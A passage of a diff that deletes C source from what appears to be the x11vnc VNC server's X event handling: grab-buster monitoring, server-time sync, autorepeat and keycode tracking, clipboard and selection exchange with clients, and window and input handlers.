- if (pid != parent) {
- fac = 2;
- }
- if (npids > 0) {
- fac *= npids;
- }
-
- if (now > watches[i].change + fac*too_long) {
- int process_alive = 1;
-
- fprintf(stderr, "grab_buster: problem with pid: "
- "%d - %d/%d/%d\n", pid, (int) now,
- (int) watches[i].change, too_long);
-
- if (kill((pid_t) pid, 0) != 0) {
- if (1 || errno == ESRCH) {
- process_alive = 0;
- }
- }
-
- if (!process_alive) {
- watches[i].pid = 0;
- watches[i].tick = 0;
- watches[i].time = 0;
- watches[i].change = 0;
- fprintf(stderr, "grab_buster: pid gone: %d\n",
- pid);
- if (pid == parent) {
- /* that's it */
- return 0;
- }
- } else {
- int sleep = sync_tod_delay * 1000 * 1000;
-
- bust_grab(0);
- problems++;
- last_bust = now;
- usleep(1 * sleep);
- break;
- }
- }
- }
-
- if (!problems) {
- bust_grab(1);
- }
- return 1;
-}
-
-static void grab_buster_watch(int parent, char *dstr) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!parent || !dstr) {}
- return;
-#else
- Atom ticker_atom = None;
- int sleep = sync_tod_delay * 921 * 1000;
- char propval[200];
- int ev, er, maj, min;
- int db = 0;
- char *ticker_str = "X11VNC_TICKER";
-
- RAWFB_RET_VOID
-
- if (grab_buster > 1) {
- db = 1;
- }
-
- /* overwrite original dpy, we let orig connection sit unused. */
- dpy = XOpenDisplay_wr(dstr);
- if (!dpy) {
- fprintf(stderr, "grab_buster_watch: could not reopen: %s\n",
- dstr);
- return;
- }
- rfbLogEnable(0);
-
- /* check for XTEST, etc, and then disable grabs for us */
- if (! XTestQueryExtension_wr(dpy, &ev, &er, &maj, &min)) {
- xtest_present = 0;
- } else {
- xtest_present = 1;
- }
- if (! XETrapQueryExtension_wr(dpy, &ev, &er, &maj)) {
- xtrap_present = 0;
- } else {
- xtrap_present = 1;
- }
-
- if (! xtest_present && ! xtrap_present) {
- fprintf(stderr, "grab_buster_watch: no grabserver "
- "protection on display: %s\n", dstr);
- return;
- }
- disable_grabserver(dpy, 0);
-
- usleep(3 * sleep);
-
- if (getenv("X11VNC_TICKER")) {
- ticker_str = getenv("X11VNC_TICKER");
- }
- ticker_atom = XInternAtom(dpy, ticker_str, False);
- if (! ticker_atom) {
- fprintf(stderr, "grab_buster_watch: no ticker atom\n");
- return;
- }
-
- while(1) {
- int slp = sleep;
- if (grab_npids > 1) {
- slp = slp / 8;
- }
- usleep(slp);
- usleep((int) (0.60 * rfac() * slp));
-
- if (kill((pid_t) parent, 0) != 0) {
- break;
- }
-
- get_prop(propval, 128, ticker_atom, None);
- if (db) fprintf(stderr, "got_prop: %s\n", propval);
-
- if (!process_watch(propval, parent, db)) {
- break;
- }
- }
-#endif /* NO_X11 */
-}
-
-void spawn_grab_buster(void) {
-#if LIBVNCSERVER_HAVE_FORK
- pid_t pid;
- int parent = (int) getpid();
- char *dstr = strdup(DisplayString(dpy));
-
- RAWFB_RET_VOID
-
- XCloseDisplay_wr(dpy);
- dpy = NULL;
-
- if ((pid = fork()) > 0) {
- grab_buster_pid = pid;
- if (! quiet) {
- rfbLog("grab_buster pid is: %d\n", (int) pid);
- }
- } else if (pid == -1) {
- fprintf(stderr, "spawn_grab_buster: could not fork\n");
- rfbLogPerror("fork");
- } else {
- signal(SIGHUP, SIG_DFL);
- signal(SIGINT, SIG_DFL);
- signal(SIGQUIT, SIG_DFL);
- signal(SIGTERM, SIG_DFL);
-
- grab_buster_watch(parent, dstr);
- exit(0);
- }
-
- dpy = XOpenDisplay_wr(dstr);
- if (!dpy) {
- rfbLog("failed to reopen display %s in spawn_grab_buster\n",
- dstr);
- exit(1);
- }
-#endif
-}
-
-void sync_tod_with_servertime(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- static Atom ticker_atom = None;
- XEvent xev;
- char diff[128];
- static int seq = 0;
- static unsigned long xserver_ticks = 1;
- int i, db = 0;
-
- RAWFB_RET_VOID
-
- if (atom_NET_ACTIVE_WINDOW == None) {
- atom_NET_ACTIVE_WINDOW = XInternAtom(dpy, "_NET_ACTIVE_WINDOW", True);
- }
- if (atom_NET_CURRENT_DESKTOP == None) {
- atom_NET_CURRENT_DESKTOP = XInternAtom(dpy, "_NET_CURRENT_DESKTOP", True);
- }
- if (atom_NET_CLIENT_LIST_STACKING == None) {
- atom_NET_CLIENT_LIST_STACKING = XInternAtom(dpy, "_NET_CLIENT_LIST_STACKING", True);
- }
- if (atom_XROOTPMAP_ID == None) {
- atom_XROOTPMAP_ID = XInternAtom(dpy, "_XROOTPMAP_ID", True);
- }
-
- if (! ticker_atom) {
- char *ticker_str = "X11VNC_TICKER";
- if (getenv("X11VNC_TICKER")) {
- ticker_str = getenv("X11VNC_TICKER");
- }
- ticker_atom = XInternAtom(dpy, ticker_str, False);
- }
- if (! ticker_atom) {
- return;
- }
-
- XSync(dpy, False);
- while (XCheckTypedEvent(dpy, PropertyNotify, &xev)) {
- set_prop_atom(xev.xproperty.atom);
- }
-
- snprintf(diff, 128, "%d/%08d/%lu/%.6f", (int) getpid(), seq++,
- xserver_ticks, servertime_diff);
- XChangeProperty(dpy, rootwin, ticker_atom, XA_STRING, 8,
- PropModeReplace, (unsigned char *) diff, strlen(diff));
- XSync(dpy, False);
-
- for (i=0; i < 10; i++) {
- int k, got = 0;
-
- for (k=0; k < 5; k++) {
- while (XCheckTypedEvent(dpy, PropertyNotify, &xev)) {
- if (xev.xproperty.atom == ticker_atom) {
- double stime;
-
- xserver_ticks = xev.xproperty.time;
- stime = (double) xev.xproperty.time;
- stime = stime/1000.0;
- servertime_diff = dnow() - stime;
- if (db) rfbLog("set servertime_diff: "
- "%.6f\n", servertime_diff);
- got = 1;
- }
- }
- }
- if (got) {
- break;
- }
- usleep(1000);
- }
-#endif /* NO_X11 */
-}
-
-void check_keycode_state(void) {
- static time_t last_check = 0;
- int delay = 10, noinput = 3;
- time_t now = time(NULL);
-
- if (! client_count) {
- return;
- }
- if (unixpw_in_progress) return;
-
- RAWFB_RET_VOID
-
- /*
- * periodically update our model of the keycode_state[]
- * by correlating with the Xserver. wait for a pause in
- * keyboard input to be on the safe side. the idea here
- * is to remove stale keycode state, not to be perfectly
- * in sync with the Xserver at every instant of time.
- */
- if (now > last_check + delay && now > last_keyboard_input + noinput) {
- X_LOCK;
- init_track_keycode_state();
- X_UNLOCK;
- last_check = now;
- }
-}
-
-/*
- * To use the experimental -grablocal option configure like this:
- * env CPPFLAGS=-DENABLE_GRABLOCAL LDFLAGS=-lXss ./configure
- */
-#ifdef ENABLE_GRABLOCAL
-#include <X11/extensions/scrnsaver.h>
-
-void check_local_grab(void) {
- static double last_check = 0.0;
- double now;
-
- if (grab_local <= 0) {
- return;
- }
- if (! client_count) {
- return;
- }
- if (unixpw_in_progress) return;
-
- if (last_rfb_key_injected <= 0.0 && last_rfb_ptr_injected <= 0.0) {
- return;
- }
-
- RAWFB_RET_VOID
-
- now = dnow();
-
- if (now > last_check + 0.1) {
-#if !NO_X11
- int ret;
- double idle;
- XScreenSaverInfo info;
- static int save_viewonly = -1, local_is_idle = -1, db = -1;
-
- if (debug_keyboard) db = debug_keyboard;
- if (debug_pointer ) db = debug_pointer;
-
- if (db < 0) {
- if (getenv("LOCAL_GRAB_DEBUG")) {
- db = atoi(getenv("LOCAL_GRAB_DEBUG"));
- } else {
- db = 0;
- }
- }
-
- ret = XScreenSaverQueryInfo(dpy, RootWindowOfScreen(
- ScreenOfDisplay(dpy, 0)), &info);
-
- if (ret) {
- double tlatest_rfb = 0.0;
-
- idle = ((double) info.idle)/1000.0;
- now = dnow();
-
- if (last_rfb_key_injected > 0.0) {
- tlatest_rfb = last_rfb_key_injected;
- }
- if (last_rfb_ptr_injected > tlatest_rfb) {
- tlatest_rfb = last_rfb_ptr_injected;
- }
- if (db > 1) fprintf(stderr, "idle: %.4f latest: %.4f dt: %.4f\n", idle, now - tlatest_rfb, idle - (now - tlatest_rfb));
-
- if (now - tlatest_rfb <= idle + 0.005) {
- /* 0.005 is 5ms tolerance */
- } else if (idle < grab_local) {
- if (local_is_idle < 0 || local_is_idle) {
- save_viewonly = view_only;
- view_only = 1;
- if (db) {
- rfbLog("check_local_grab: set viewonly\n");
- }
- }
-
- local_is_idle = 0;
- } else {
- if (!local_is_idle && save_viewonly >= 0) {
- view_only = save_viewonly;
- if (db) {
- rfbLog("check_local_grab: restored viewonly; %d\n", view_only);
- }
- }
- local_is_idle = 1;
- }
- }
-#endif
- last_check = dnow();
- }
-}
-#endif
-
-void check_autorepeat(void) {
- static time_t last_check = 0;
- static int idle_timeout = -300, idle_reset = 0;
- time_t now = time(NULL);
- int autorepeat_is_on, autorepeat_initially_on;
-
- if (! no_autorepeat || ! client_count) {
- return;
- }
- if (now <= last_check + 1) {
- return;
- }
-
- if (unixpw_in_progress) return;
-
- if (idle_timeout < 0) {
- if (getenv("X11VNC_IDLE_TIMEOUT")) {
- idle_timeout = atoi(getenv("X11VNC_IDLE_TIMEOUT"));
- }
- if (idle_timeout < 0) {
- idle_timeout = -idle_timeout;
- }
- }
-
- last_check = now;
-
- autorepeat_is_on = get_autorepeat_state();
- autorepeat_initially_on = get_initial_autorepeat_state();
-
- if (view_only) {
- if (! autorepeat_is_on) {
- autorepeat(1, 1);
- }
- return;
- }
-
- if (now > last_keyboard_input + idle_timeout) {
- /* autorepeat should be on when idle */
- if (! autorepeat_is_on && autorepeat_initially_on) {
- static time_t last_msg = 0;
- static int cnt = 0;
- if (now > last_msg + idle_timeout && cnt++ < 10) {
- rfbLog("idle keyboard: turning X autorepeat"
- " back on.\n");
- last_msg = now;
- }
- autorepeat(1, 1);
- idle_reset = 1;
- }
- } else {
- if (idle_reset) {
- int i, state[256], didmsg = 0, pressed = 0;
- int mwt = 600, mmax = 20;
- static int msgcnt = 0;
- static double lastmsg = 0.0;
-
- for (i=0; i<256; i++) {
- state[i] = 0;
- }
- if (use_threads) {X_LOCK;}
- get_keystate(state);
- if (use_threads) {X_UNLOCK;}
-
- for (i=0; i<256; i++) {
- if (state[i] != 0) {
- /* better wait until all keys are up */
- pressed++;
- if (msgcnt < mmax || dnow() > lastmsg + mwt) {
- char *str = "unset";
-#if !NO_X11
- if (use_threads) {X_LOCK;}
- str = XKeysymToString(XKeycodeToKeysym(dpy, i, 0));
- if (use_threads) {X_UNLOCK;}
-#endif
- str = str ? str : "nosymbol";
- didmsg++;
- rfbLog("active keyboard: waiting until "
- "all keys are up. key_down=%d %s. "
- "If the key is inaccessible via keyboard, "
- "consider 'x11vnc -R clear_all'\n", i, str);
- }
- }
- }
- if (didmsg > 0) {
- msgcnt++;
- if (msgcnt == mmax) {
- rfbLog("active keyboard: last such "
- "message for %d secs.\n", mwt);
- }
- lastmsg = dnow();
- }
- if (pressed > 0) {
- return;
- }
- }
- if (idle_reset) {
- static time_t last_msg = 0;
- static int cnt = 0;
- if (now > last_msg + idle_timeout && cnt++ < 10) {
- rfbLog("active keyboard: turning X autorepeat"
- " off.\n");
- last_msg = now;
- }
- autorepeat(0, 1);
- idle_reset = 0;
-
- } else if (no_repeat_countdown && autorepeat_is_on) {
- int n = no_repeat_countdown - 1;
- if (n >= 0) {
- rfbLog("Battling with something for "
- "-norepeat!! (%d resets left)\n", n);
- } else {
- rfbLog("Battling with something for "
- "-norepeat!!\n");
- }
- if (no_repeat_countdown > 0) {
- no_repeat_countdown--;
- }
- autorepeat(1, 0);
- autorepeat(0, 0);
- }
- }
-}
-
-void set_prop_atom(Atom atom) {
- if (atom == None) return;
- if (atom == atom_NET_ACTIVE_WINDOW) got_NET_ACTIVE_WINDOW = dnow();
- if (atom == atom_NET_CURRENT_DESKTOP) got_NET_CURRENT_DESKTOP = dnow();
- if (atom == atom_NET_CLIENT_LIST_STACKING) got_NET_CLIENT_LIST_STACKING = dnow();
- if (atom == atom_XROOTPMAP_ID) got_XROOTPMAP_ID = dnow();
-}
-
-/*
- * This routine is periodically called to check for selection related
- * and other X11 events and respond to them as needed.
- */
-void check_xevents(int reset) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!reset) {}
- return;
-#else
- XEvent xev;
- int tmp, have_clients = 0;
- static int sent_some_sel = 0;
- static time_t last_call = 0;
- static time_t last_bell = 0;
- static time_t last_init_check = 0;
- static time_t last_sync = 0;
- static time_t last_time_sync = 0;
- time_t now = time(NULL);
- static double last_request = 0.0;
- static double last_xrefresh = 0.0;
- XErrorHandler old_handler;
-
- if (unixpw_in_progress) return;
-
- RAWFB_RET_VOID
-
- if (now > last_init_check+1 || reset) {
- last_init_check = now;
- initialize_xevents(reset);
- if (reset) {
- return;
- }
- }
-
- if (screen && screen->clientHead) {
- have_clients = 1;
- }
-
- X_LOCK;
- /*
- * There is a bug where we have to wait before sending text to
- * the client... so instead of sending right away we wait a
- * the few seconds.
- */
-
- if (have_clients && watch_selection && !sent_some_sel
- && now > last_client + sel_waittime) {
- if (XGetSelectionOwner(dpy, XA_PRIMARY) == None) {
- cutbuffer_send();
- }
- sent_some_sel = 1;
- }
- if (! have_clients) {
- /*
- * If we don't have clients we can miss the X server
- * going away until a client connects.
- */
- static time_t last_X_ping = 0;
- if (now > last_X_ping + 5) {
- last_X_ping = now;
- XGetSelectionOwner(dpy, XA_PRIMARY);
- }
- }
-
- if (have_clients && xrefresh > 0.0 && dnow() > last_xrefresh + xrefresh) {
- XSetWindowAttributes swa;
- Visual visual;
- Window xrf;
- unsigned long mask;
-
- swa.override_redirect = True;
- swa.backing_store = NotUseful;
- swa.save_under = False;
- swa.background_pixmap = None;
- visual.visualid = CopyFromParent;
- mask = (CWOverrideRedirect|CWBackingStore|CWSaveUnder|CWBackPixmap);
-
- xrf = XCreateWindow(dpy, window, coff_x, coff_y, dpy_x, dpy_y, 0, CopyFromParent,
- InputOutput, &visual, mask, &swa);
- if (xrf != None) {
- if (0) fprintf(stderr, "XCreateWindow(%d, %d, %d, %d) 0x%lx\n", coff_x, coff_y, dpy_x, dpy_y, xrf);
- XMapWindow(dpy, xrf);
- XFlush_wr(dpy);
- XDestroyWindow(dpy, xrf);
- XFlush_wr(dpy);
- }
- last_xrefresh = dnow();
- }
-
- if (now > last_call+1) {
- /* we only check these once a second or so. */
- int n = 0;
-
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- while (XCheckTypedEvent(dpy, MappingNotify, &xev)) {
- XRefreshKeyboardMapping((XMappingEvent *) &xev);
- n++;
- }
- if (n && use_modifier_tweak) {
- X_UNLOCK;
- initialize_modtweak();
- X_LOCK;
- }
- if (xtrap_base_event_type) {
- int base = xtrap_base_event_type;
- while (XCheckTypedEvent(dpy, base, &xev)) {
- ;
- }
- }
- if (xtest_base_event_type) {
- int base = xtest_base_event_type;
- while (XCheckTypedEvent(dpy, base, &xev)) {
- ;
- }
- }
- /*
- * we can get ClientMessage from our XSendEvent() call in
- * selection_request().
- */
- while (XCheckTypedEvent(dpy, ClientMessage, &xev)) {
- ;
- }
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- last_call = now;
- }
-
- if (freeze_when_obscured) {
- if (XCheckTypedEvent(dpy, VisibilityNotify, &xev)) {
- if (xev.type == VisibilityNotify && xev.xany.window == subwin) {
- int prev = subwin_obscured;
- if (xev.xvisibility.state == VisibilityUnobscured) {
- subwin_obscured = 0;
- } else if (xev.xvisibility.state == VisibilityPartiallyObscured) {
- subwin_obscured = 1;
- } else {
- subwin_obscured = 2;
- }
- rfbLog("subwin_obscured: %d -> %d\n", prev, subwin_obscured);
- }
- }
- }
-
- /* check for CUT_BUFFER0, VNC_CONNECT, X11VNC_REMOTE changes: */
- if (XCheckTypedEvent(dpy, PropertyNotify, &xev)) {
- int got_cutbuffer = 0;
- int got_vnc_connect = 0;
- int got_x11vnc_remote = 0;
- static int prop_dbg = -1;
-
- /* to avoid piling up between calls, read all PropertyNotify now */
- do {
- if (xev.type == PropertyNotify) {
- if (xev.xproperty.atom == XA_CUT_BUFFER0) {
- got_cutbuffer++;
- } else if (vnc_connect && vnc_connect_prop != None
- && xev.xproperty.atom == vnc_connect_prop) {
- got_vnc_connect++;
- } else if (vnc_connect && x11vnc_remote_prop != None
- && xev.xproperty.atom == x11vnc_remote_prop) {
- got_x11vnc_remote++;
- }
- set_prop_atom(xev.xproperty.atom);
- }
- } while (XCheckTypedEvent(dpy, PropertyNotify, &xev));
-
- if (prop_dbg < 0) {
- prop_dbg = 0;
- if (getenv("PROP_DBG")) {
- prop_dbg = 1;
- }
- }
-
- if (prop_dbg && (got_cutbuffer > 1 || got_vnc_connect > 1 || got_x11vnc_remote > 1)) {
- static double lastmsg = 0.0;
- static int count = 0;
- double now = dnow();
-
- if (1 && now > lastmsg + 300.0) {
- if (got_cutbuffer > 1) {
- rfbLog("check_xevents: warning: %d cutbuffer events since last check.\n", got_cutbuffer);
- }
- if (got_vnc_connect > 1) {
- rfbLog("check_xevents: warning: %d vnc_connect events since last check.\n", got_vnc_connect);
- }
- if (got_x11vnc_remote > 1) {
- rfbLog("check_xevents: warning: %d x11vnc_remote events since last check.\n", got_x11vnc_remote);
- }
- count++;
- if (count >= 3) {
- lastmsg = now;
- count = 0;
- }
- }
- }
-
- if (got_cutbuffer) {
- /*
- * Go retrieve CUT_BUFFER0 and send it.
- *
- * set_cutbuffer is a flag to try to avoid
- * processing our own cutbuffer changes.
- */
- if (have_clients && watch_selection && !set_cutbuffer) {
- cutbuffer_send();
- sent_some_sel = 1;
- }
- set_cutbuffer = 0;
- }
- if (got_vnc_connect) {
- /*
- * Go retrieve VNC_CONNECT string.
- */
- read_vnc_connect_prop(0);
- }
- if (got_x11vnc_remote) {
- /*
- * Go retrieve X11VNC_REMOTE string.
- */
- read_x11vnc_remote_prop(0);
- }
- }
-
- /* do this now that we have just cleared PropertyNotify */
- tmp = 0;
- if (rfac() < 0.6) {
- tmp = 1;
- }
- if (now > last_time_sync + sync_tod_delay + tmp) {
- sync_tod_with_servertime();
- last_time_sync = now;
- }
-
-#if LIBVNCSERVER_HAVE_LIBXRANDR
- if (xrandr || xrandr_maybe) {
- check_xrandr_event("check_xevents");
- }
-#endif
-#if LIBVNCSERVER_HAVE_LIBXFIXES
- if (xfixes_present && use_xfixes && xfixes_first_initialized && xfixes_base_event_type) {
- if (XCheckTypedEvent(dpy, xfixes_base_event_type +
- XFixesCursorNotify, &xev)) {
- got_xfixes_cursor_notify++;
- }
- }
-#endif
-
- /* check for our PRIMARY request notification: */
- if (watch_primary || watch_clipboard) {
- int doprimary = 1, doclipboard = 2, which, own = 0;
- double delay = 1.0;
- Atom atom;
- char *req;
-
- if (XCheckTypedEvent(dpy, SelectionNotify, &xev)) {
- if (xev.type == SelectionNotify &&
- xev.xselection.requestor == selwin &&
- xev.xselection.property != None &&
- xev.xselection.target == XA_STRING) {
- Atom s = xev.xselection.selection;
- if (s == XA_PRIMARY || s == clipboard_atom) {
- /* go retrieve it and check it */
- if (now > last_client + sel_waittime
- || sent_some_sel) {
- selection_send(&xev);
- }
- }
- }
- }
- /*
- * Every second or so, request PRIMARY or CLIPBOARD,
- * unless we already own it or there is no owner or we
- * have no clients.
- * TODO: even at this low rate we should look into
- * and performance problems in odds cases (large text,
- * modem, etc.)
- */
- which = 0;
- if (watch_primary && watch_clipboard && ! own_clipboard &&
- ! own_primary) {
- delay = 0.6;
- }
- if (dnow() > last_request + delay) {
- /*
- * It is not a good idea to do both at the same
- * time so we must choose one:
- */
- if (watch_primary && watch_clipboard) {
- static int count = 0;
- if (own_clipboard) {
- which = doprimary;
- } else if (own_primary) {
- which = doclipboard;
- } else if (count++ % 3 == 0) {
- which = doclipboard;
- } else {
- which = doprimary;
- }
- } else if (watch_primary) {
- which = doprimary;
- } else if (watch_clipboard) {
- which = doclipboard;
- }
- last_request = dnow();
- }
- atom = None;
- req = "none";
- if (which == doprimary) {
- own = own_primary;
- atom = XA_PRIMARY;
- req = "PRIMARY";
- } else if (which == doclipboard) {
- own = own_clipboard;
- atom = clipboard_atom;
- req = "CLIPBOARD";
- }
- if (which != 0 && ! own && have_clients &&
- XGetSelectionOwner(dpy, atom) != None && selwin != None) {
- XConvertSelection(dpy, atom, XA_STRING, XA_STRING,
- selwin, CurrentTime);
- if (debug_sel) {
- rfbLog("request %s\n", req);
- }
- }
- }
-
- if (own_primary || own_clipboard) {
- /* we own PRIMARY or CLIPBOARD, see if someone requested it: */
- trapped_xerror = 0;
- old_handler = XSetErrorHandler(trap_xerror);
-
- if (XCheckTypedEvent(dpy, SelectionRequest, &xev)) {
- if (own_primary && xev.type == SelectionRequest &&
- xev.xselectionrequest.selection == XA_PRIMARY) {
- selection_request(&xev, "PRIMARY");
- }
- if (own_clipboard && xev.type == SelectionRequest &&
- xev.xselectionrequest.selection == clipboard_atom) {
- selection_request(&xev, "CLIPBOARD");
- }
- }
-
- /* we own PRIMARY or CLIPBOARD, see if we no longer own it: */
- if (XCheckTypedEvent(dpy, SelectionClear, &xev)) {
- if (own_primary && xev.type == SelectionClear &&
- xev.xselectionclear.selection == XA_PRIMARY) {
- own_primary = 0;
- if (xcut_str_primary) {
- free(xcut_str_primary);
- xcut_str_primary = NULL;
- }
- if (debug_sel) {
- rfbLog("Released PRIMARY.\n");
- }
- }
- if (own_clipboard && xev.type == SelectionClear &&
- xev.xselectionclear.selection == clipboard_atom) {
- own_clipboard = 0;
- if (xcut_str_clipboard) {
- free(xcut_str_clipboard);
- xcut_str_clipboard = NULL;
- }
- if (debug_sel) {
- rfbLog("Released CLIPBOARD.\n");
- }
- }
- }
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- }
-
- if (watch_bell || now > last_bell+1) {
- last_bell = now;
- check_bell_event();
- }
- if (tray_request != None) {
- static time_t last_tray_request = 0;
- if (now > last_tray_request + 2) {
- last_tray_request = now;
- if (tray_embed(tray_request, tray_unembed)) {
- tray_window = tray_request;
- tray_request = None;
- }
- }
- }
-
-#ifndef DEBUG_XEVENTS
-#define DEBUG_XEVENTS 1
-#endif
-#if DEBUG_XEVENTS
- if (debug_xevents) {
- static time_t last_check = 0;
- static time_t reminder = 0;
- static int freq = 0;
-
- if (! freq) {
- if (getenv("X11VNC_REMINDER_RATE")) {
- freq = atoi(getenv("X11VNC_REMINDER_RATE"));
- } else {
- freq = 300;
- }
- }
-
- if (now > last_check + 1) {
- int ev_type_max = 300, ev_size = 400;
- XEvent xevs[400];
- int i, tot = XEventsQueued(dpy, QueuedAlready);
-
- if (reminder == 0 || (tot && now > reminder + freq)) {
- print_xevent_bases();
- reminder = now;
- }
- last_check = now;
-
- if (tot) {
- fprintf(stderr, "Total events queued: %d\n",
- tot);
- }
- for (i=1; i<ev_type_max; i++) {
- int k, n = 0;
- while (XCheckTypedEvent(dpy, i, xevs+n)) {
- if (++n >= ev_size) {
- break;
- }
- }
- if (n) {
- fprintf(stderr, " %d%s events of type"
- " %d queued\n", n,
- (n >= ev_size) ? "+" : "", i);
- }
- for (k=n-1; k >= 0; k--) {
- XPutBackEvent(dpy, xevs+k);
- }
- }
- }
- }
-#endif
-
- if (now > last_sync + 1200) {
- /* kludge for any remaining event leaks */
- int bugout = use_xdamage ? 500 : 50;
- int qlen, i;
- if (last_sync != 0) {
- qlen = XEventsQueued(dpy, QueuedAlready);
- if (qlen >= bugout) {
- rfbLog("event leak: %d queued, "
- " calling XSync(dpy, True)\n", qlen);
- rfbLog(" for diagnostics run: 'x11vnc -R"
- " debug_xevents:1'\n");
- XSync(dpy, True);
- }
- }
- last_sync = now;
-
- /* clear these, we don't want any events on them */
- if (rdpy_ctrl) {
- qlen = XEventsQueued(rdpy_ctrl, QueuedAlready);
- for (i=0; i<qlen; i++) {
- XNextEvent(rdpy_ctrl, &xev);
- }
- }
- if (gdpy_ctrl) {
- qlen = XEventsQueued(gdpy_ctrl, QueuedAlready);
- for (i=0; i<qlen; i++) {
- XNextEvent(gdpy_ctrl, &xev);
- }
- }
- }
- X_UNLOCK;
-
-#endif /* NO_X11 */
-}
-
-extern int rawfb_vnc_reflect;
-/*
- * hook called when a VNC client sends us some "XCut" text (rfbClientCutText).
- */
-void xcut_receive(char *text, int len, rfbClientPtr cl) {
- allowed_input_t input;
-
- if (threads_drop_input) {
- return;
- }
-
- if (unixpw_in_progress) {
- rfbLog("xcut_receive: unixpw_in_progress, skipping.\n");
- return;
- }
-
- if (!watch_selection) {
- return;
- }
- if (view_only) {
- return;
- }
- if (text == NULL || len == 0) {
- return;
- }
- get_allowed_input(cl, &input);
- if (!input.clipboard) {
- return;
- }
- INPUT_LOCK;
-
- if (remote_prefix != NULL && strstr(text, remote_prefix) == text) {
- char *result, *rcmd = text + strlen(remote_prefix);
- char *tmp = (char *) calloc(len + 8, 1);
-
- if (strstr(rcmd, "cmd=") != rcmd && strstr(rcmd, "qry=") != rcmd) {
- strcat(tmp, "qry=");
- }
- strncat(tmp, rcmd, len - strlen(remote_prefix));
- rfbLog("remote_prefix command: '%s'\n", tmp);
-
- if (use_threads) {
- if (client_connect_file) {
- FILE *f = fopen(client_connect_file, "w");
- if (f) {
- fprintf(f, "%s\n", tmp);
- fclose(f);
- free(tmp);
- INPUT_UNLOCK;
- return;
- }
- }
- if (vnc_connect) {
- sprintf(x11vnc_remote_str, "%s", tmp);
- free(tmp);
- INPUT_UNLOCK;
- return;
- }
- }
- INPUT_UNLOCK;
-
-
- result = process_remote_cmd(tmp, 1);
- if (result == NULL ) {
- result = strdup("null");
- } else if (!strcmp(result, "")) {
- free(result);
- result = strdup("none");
- }
- rfbLog("remote_prefix result: '%s'\n", result);
-
- free(tmp);
- tmp = (char *) calloc(strlen(remote_prefix) + strlen(result) + 1, 1);
-
- strcat(tmp, remote_prefix);
- strcat(tmp, result);
- free(result);
-
- rfbSendServerCutText(screen, tmp, strlen(tmp));
- free(tmp);
-
- return;
- }
-
- if (! check_sel_direction("recv", "xcut_receive", text, len)) {
- INPUT_UNLOCK;
- return;
- }
-
-#ifdef MACOSX
- if (macosx_console) {
- macosx_set_sel(text, len);
- INPUT_UNLOCK;
- return;
- }
-#endif
-
- if (rawfb_vnc_reflect) {
- vnc_reflect_send_cuttext(text, len);
- INPUT_UNLOCK;
- return;
- }
-
- RAWFB_RET_VOID
-
-#if NO_X11
- INPUT_UNLOCK;
- return;
-#else
-
- X_LOCK;
-
- /* associate this text with PRIMARY (and SECONDARY...) */
- if (set_primary && ! own_primary && selwin != None) {
- own_primary = 1;
- /* we need to grab the PRIMARY selection */
- XSetSelectionOwner(dpy, XA_PRIMARY, selwin, CurrentTime);
- XFlush_wr(dpy);
- if (debug_sel) {
- rfbLog("Own PRIMARY.\n");
- }
- }
-
- if (set_clipboard && ! own_clipboard && clipboard_atom != None && selwin != None) {
- own_clipboard = 1;
- /* we need to grab the CLIPBOARD selection */
- XSetSelectionOwner(dpy, clipboard_atom, selwin, CurrentTime);
- XFlush_wr(dpy);
- if (debug_sel) {
- rfbLog("Own CLIPBOARD.\n");
- }
- }
-
- /* duplicate the text string for our own use. */
- if (set_primary) {
- if (xcut_str_primary != NULL) {
- free(xcut_str_primary);
- xcut_str_primary = NULL;
- }
- xcut_str_primary = (char *) malloc((size_t) (len+1));
- strncpy(xcut_str_primary, text, len);
- xcut_str_primary[len] = '\0'; /* make sure null terminated */
- if (debug_sel) {
- rfbLog("Set PRIMARY '%s'\n", xcut_str_primary);
- }
- }
- if (set_clipboard) {
- if (xcut_str_clipboard != NULL) {
- free(xcut_str_clipboard);
- xcut_str_clipboard = NULL;
- }
- xcut_str_clipboard = (char *) malloc((size_t) (len+1));
- strncpy(xcut_str_clipboard, text, len);
- xcut_str_clipboard[len] = '\0'; /* make sure null terminated */
- if (debug_sel) {
- rfbLog("Set CLIPBOARD '%s'\n", xcut_str_clipboard);
- }
- }
-
- /* copy this text to CUT_BUFFER0 as well: */
- XChangeProperty(dpy, rootwin, XA_CUT_BUFFER0, XA_STRING, 8,
- PropModeReplace, (unsigned char *) text, len);
- XFlush_wr(dpy);
-
- X_UNLOCK;
- INPUT_UNLOCK;
-
- set_cutbuffer = 1;
-#endif /* NO_X11 */
-}
-
-void kbd_release_all_keys(rfbClientPtr cl) {
- if (unixpw_in_progress) {
- rfbLog("kbd_release_all_keys: unixpw_in_progress, skipping.\n");
- return;
- }
- if (cl->viewOnly) {
- return;
- }
-
- RAWFB_RET_VOID
-
-#if NO_X11
- return;
-#else
- if (use_threads) {
- X_LOCK;
- }
-
- clear_keys();
- clear_modifiers(0);
-
- if (use_threads) {
- X_UNLOCK;
- }
-#endif
-}
-
-void set_single_window(rfbClientPtr cl, int x, int y) {
- int ok = 0;
- if (no_ultra_ext) {
- return;
- }
- if (unixpw_in_progress) {
- rfbLog("set_single_window: unixpw_in_progress, dropping client.\n");
- rfbCloseClient(cl);
- return;
- }
- if (cl->viewOnly) {
- return;
- }
-
- RAWFB_RET_VOID
-
-#if NO_X11
- return;
-#else
- if (x==1 && y==1) {
- if (subwin) {
- subwin = 0x0;
- ok = 1;
- }
- } else {
- Window r, c;
- int rootx, rooty, wx, wy;
- unsigned int mask;
-
- update_x11_pointer_position(x, y);
- XSync(dpy, False);
-
- if (XQueryPointer_wr(dpy, rootwin, &r, &c, &rootx, &rooty,
- &wx, &wy, &mask)) {
- if (c != None) {
- subwin = c;
- ok = 1;
- }
- }
- }
-
- if (ok) {
- check_black_fb();
- do_new_fb(1);
- }
-#endif
-
-}
-void set_server_input(rfbClientPtr cl, int grab) {
- if (no_ultra_ext) {
- return;
- }
- if (unixpw_in_progress) {
- rfbLog("set_server_input: unixpw_in_progress, dropping client.\n");
- rfbCloseClient(cl);
- return;
- }
- if (cl->viewOnly) {
- return;
- }
-
- RAWFB_RET_VOID
-
-#if NO_X11
- return;
-#else
- if (grab) {
- if (!no_ultra_dpms) {
- set_dpms_mode("enable");
